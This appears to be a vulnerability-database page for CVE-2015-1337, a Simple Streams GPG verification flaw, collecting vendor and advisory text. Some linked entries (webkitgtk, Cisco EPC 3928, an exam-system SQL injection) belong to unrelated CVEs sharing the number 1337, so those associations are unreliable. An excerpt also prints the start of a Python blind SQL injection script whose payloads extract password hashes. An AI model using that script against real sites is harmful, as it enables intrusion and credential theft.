CVE-2015-1337
published 2015-10-09CVE-2015-1337: Simple Streams (simplestreams) does not properly verify the GPG signatures of disk image files, which allows remote mirror servers to spoof disk images and…
PriorityP433medium6.8CVSS 2.0
AVNACMAuNCPIPAP
EPSS
1.71%
75.1th percentile
Simple Streams (simplestreams) does not properly verify the GPG signatures of disk image files, which allows remote mirror servers to spoof disk images and have unspecified other impact via a 403 (aka Forbidden) response.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
CVSS provenance
nvdv2.06.8MEDIUMAV:N/AC:M/Au:N/C:P/I:P/A:P
osv6.8MEDIUM
vendor_redhat6.8MEDIUM
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Ubuntu
Simple Streams vulnerability
vendor_ubuntu·2015-09-24
CVE-2015-1337 Simple Streams vulnerability
Title: Simple Streams vulnerability
Summary: Applications using Simple Streams could be made to crash or run
programs if it received specially crafted network traffic.
It was discovered that Simple Streams did not properly perform gpg
verification in some situations. A remote attacker could use this to
perform a machine-in-the-middle attack and inject malicious content into
the stream.
Instructions: After a standard system update you need to restart any services that
make use of python-simplestreams or python3-simplestreams to make
all the necessary changes.
Red Hat
webkitgtk: arbitrary code execution and denial of service via a crafted web site (WSA-2015-0001)
vendor_redhat·2015-01-26·CVSS 6.8
CVE-2014-1337 [MEDIUM] webkitgtk: arbitrary code execution and denial of service via a crafted web site (WSA-2015-0001)
webkitgtk: arbitrary code execution and denial of service via a crafted web site (WSA-2015-0001)
WebKit, as used in Apple Safari before 6.1.4 and 7.x before 7.0.4, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2014-05-21-1.
Statement: Red Hat Product Security has rated this issue as having Moderate security impact. This issue is not currently planned to be addressed in future updates. For additional information, refer to the Issue Severity Classification: https://access.redhat.com/security/updates/classification/.
Package: webkitgtk (Red Hat Enterprise Linux 6) - Will not fix
Package: webkitgtk3 (Red Hat Enterprise Linux
GHSA
GHSA-r4f6-cvp5-f9ch: Simple Streams (simplestreams) does not properly verify the GPG signatures of disk image files, which allows remote mirror servers to spoof disk image
ghsa_unreviewed·2022-05-17
CVE-2015-1337 [MEDIUM] CWE-20 GHSA-r4f6-cvp5-f9ch: Simple Streams (simplestreams) does not properly verify the GPG signatures of disk image files, which allows remote mirror servers to spoof disk image
Simple Streams (simplestreams) does not properly verify the GPG signatures of disk image files, which allows remote mirror servers to spoof disk images and have unspecified other impact via a 403 (aka Forbidden) response.
OSV
CVE-2015-1337: Simple Streams (simplestreams) does not properly verify the GPG signatures of disk image files, which allows remote mirror servers to spoof disk image
osv·2015-09-24·CVSS 6.8
CVE-2015-1337 [MEDIUM] CVE-2015-1337: Simple Streams (simplestreams) does not properly verify the GPG signatures of disk image files, which allows remote mirror servers to spoof disk image
Simple Streams (simplestreams) does not properly verify the GPG signatures of disk image files, which allows remote mirror servers to spoof disk images and have unspecified other impact via a 403 (aka Forbidden) response.
No detection rules found.
Exploit-DB
Online-Exam-System 2015 - 'feedback' SQL Injection
exploitdb·2020-06-05
Online-Exam-System 2015 - 'feedback' SQL Injection
Online-Exam-System 2015 - 'feedback' SQL Injection
---
# Exploit Title: Online-Exam-System 2015 - 'feedback' SQL Injection
# Date: 2020-06-04
# Exploit Author: Gus Ralph
# Vendor Homepage: https://github.com/sunnygkp10/
# Software Link: https://github.com/sunnygkp10/Online-Exam-System-.git
# Affected Version: 2015
# Tested on: Ubuntu
# CVE : N/A
import requests, string, time
from sys import stdout
URL = raw_input("Please enter the URL to attack (example http://localhost/Online-Exam-System/)\n")
payload = "feedback' , '2020-06-04', '01:58:10am'),('1337','test','[email protected]','test',(SELECT CASE WHEN (SELECT EXISTS(SELECT password FROM user WHERE password REGEXP BINARY '^"
payload2 = ".*'))=1 THEN sleep(5) ELSE sleep(0) END),'2020-06-04', '01:58:10am'); -- -"
so_far = hash = ""
while T
Exploit-DB
Cisco EPC 3928 - Multiple Vulnerabilities
exploitdb·2016-06-07·CVSS 7.5
CVE-2016-1337 [HIGH] Cisco EPC 3928 - Multiple Vulnerabilities
Cisco EPC 3928 - Multiple Vulnerabilities
---
# Title: Cisco EPC 3928 Multiple Vulnerabilities
# Vendor: http://www.cisco.com/
# Vulnerable Version(s): Cisco Model EPC3928 DOCSIS 3.0 8x4 Wireless Residential Gateway
# CVE References: CVE-2015-6401 / CVE-2015-6402 / CVE-2016-1328 / CVE-2016-1336 / CVE-2016-1337
# Author: Patryk Bogdan from Secorda security team (http://secorda.com/)
Summary:
In recent security research, Secorda security team has found multiple vulnerabilities affecting Cisco EPC3928 Wireless Residential Gateway. Variants of this product can also be affected.
Using combination of several vulnerabilities, attacker is able to remotely download and decode boot configuration file, which you can see on PoC video below. The attacker is also able to reconfigure device in order
2015-10-09
Published